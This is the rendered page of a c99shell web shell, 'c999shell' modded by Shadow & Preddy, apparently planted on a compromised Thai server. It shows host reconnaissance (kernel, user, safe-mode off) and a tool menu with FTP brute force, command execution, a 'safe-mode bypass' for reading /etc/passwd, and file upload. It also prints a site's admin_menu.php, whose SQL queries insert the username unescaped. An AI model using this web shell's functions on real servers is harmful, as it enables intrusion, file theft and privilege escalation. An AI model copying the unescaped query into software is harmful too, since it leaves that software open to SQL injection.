!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Research_depart/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     admin_menu.php (5.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//include("../include/FunctionDB.php");
//ConnectDB();
$Username $valid_user;
$sql "SELECT * FROM personal_tb  WHERE   Username='$Username'";
$result mysql_query($sql) ;
$rs mysql_fetch_array($result);
$row mysql_num_rows($result);
?>
<html>
<head>
    <TITLE>ระบบสารสนเทศเพื่อการบริหาร</TITLE>
    <meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<SCRIPT language="JavaScript1.2" src="../source/mainmenu.js" type="text/javascript"></SCRIPT>
<script language="javascript" src="../source/calendarDateInput2.js"></script>
    <style type="text/css">
<!--
.style5 {font-family: Tahoma; font-size: 10px; }
.style9 {font-family: Tahoma; font-weight: bold; font-size: 14px; }
.style17 {font-size: 14; font-family: Tahoma;}
.style18 {font-size: 14px}
.style20 {font-size: 14px; color: #339933; }
.style21 {    color: #FFFFFF;
    font-size: 14px;
    font-family: Tahoma;
}
.style24 {color: #000000}
.style25 {color: #0000FF}
-->
    </style>
</head>
<body topmargin="0" leftmargin="0" >
<table width="768" height="23" bgcolor="#86ade2" >
  <tr>
    <td width="991" height="73" colspan="0" nowrap bordercolor="#CCCCCC" bgcolor="#0066CC"><img src="../picture/bannermis.jpg" width="1003" height="93"></td>
 </tr>
</table>
 <table width="1007" height="37" cellpadding="0" cellspacing="0">
    <tr valign="bottom" bordercolor="#FFFFFF" bgcolor="#528BC5" class="menu">
      <td width="1031" height="35" bgcolor="#99CCFF" ><div align="right"><span class="style21"><span class="style25">จำนวนผู้เข้าใช้ฐานข้อมูล(ก.พ.2550</span>)</span><img src="./counter/counter.php?page=my_page&digit=classic" border="0" alt="counter"></div>    </td>
    </tr>
</table>
    <tr> 
    <td width="37%" height="150" align="left" valign="top" bgcolor="#6699CC"><div align="center">
      <table width="179" height="468" border="0" align="left" cellpadding="1" cellspacing="1" bordercolor="#FFFFFF" class="menu_left">
        <tr>
          <td width="175" height="24" bgcolor="#99CCFF" class="style5" ><div align="center" class="style9 style24"> เมนูทั่วไป </div></td>
        </tr>
        <?php if($statusCheck=="admin"){ ?>
        <?php
include("../include/FunctionDB.php");
include(
"../include/Function.php");
ConnectDB();
$Username $valid_user;
$sql1 "SELECT * FROM personal_tb WHERE    Username='$Username'";
$result1 mysql_query($sql1) ;
$rs mysql_fetch_array($result1);
$row mysql_num_rows($result);
?>
        <tr>
          <td height="22" bgcolor="#99CCFF" class="style17">www</td>
        </tr>
        <? }?>
        <tr>
          <td  height="19"  bgcolor="#99CCFF" class="style5"><font face="Tahoma"><a href="AccByname.php" class="style20"> </a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico2.gif" width="16" height="15" border="0" align="absmiddle" /></font><font face="Tahoma"><a href="Edu_Menu.php" class="d style18"> หน้าหลัก</a></font></td>
        </tr>
        <tr>
          <td  height="19"  bgcolor="#99CCFF" class="style5"><span class="style18"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico6.gif" width="16" height="16" border="0" align="absmiddle" /></font> <font face="Tahoma"><a href="menu_research.php">ข้อมูลงานวิจัย</a></font></span></td>
        </tr>
        <tr>
          <td  height="19"  bgcolor="#99CCFF" class="style5"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico6.gif" width="16" height="16" border="0" align="absmiddle" /></font> <font face="Tahoma"> <a href="SearchRes.php" class="d style18">ค้นหางานวิจัย</a></font></td>
        </tr>
        

        <tr>
          <td  height="19"  bgcolor="#99CCFF" class="style18"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico6.gif" width="16" height="16" border="0" align="absmiddle" /></font> <font face="Tahoma"><a href="menu_report.php">ข้อมูลรายงานประเภทต่างๆ</a></font></td>
        </tr>
        
        

        <tr>
          <td  height="19"  bgcolor="#99CCFF" class="style18"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico6.gif" width="16" height="16" border="0" align="absmiddle" /></font> <font face="Tahoma">ข้อมูลพื้นฐานระบบ</font></td>
        </tr>
        <tr>
          <td  height="21"  bgcolor="#99CCFF" class="style18"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico8.gif" width="18" height="19" border="0" align="absmiddle" /></font> <font face="Tahoma"> เข้าระบบ</font></td>
        </tr>
        <tr>
          <td  height="22"  bgcolor="#99CCFF" class="style18"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico9.gif" width="18" height="19" border="0" align="absmiddle" /></font><font face="Tahoma"><a href="../logout.php" class="style18"> ออกจากระบบ</a><a href="AccList.php" class="style18"></a><a href="login.php" class="style18"></a></font></td>
        </tr>
        <tr>
          <td  height="27"  bgcolor="#99CCFF" class="style18">&nbsp;</td>
        </tr>
        <tr>
          <td  height="27"  bgcolor="#99CCFF" class="style18">&nbsp;</td>
        </tr>
        <tr>
          <td  height="161"  bgcolor="#99CCFF" class="style18">&nbsp;</td>
        </tr>
      </table>
    </div>
    </td>
<tr>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0063 ]--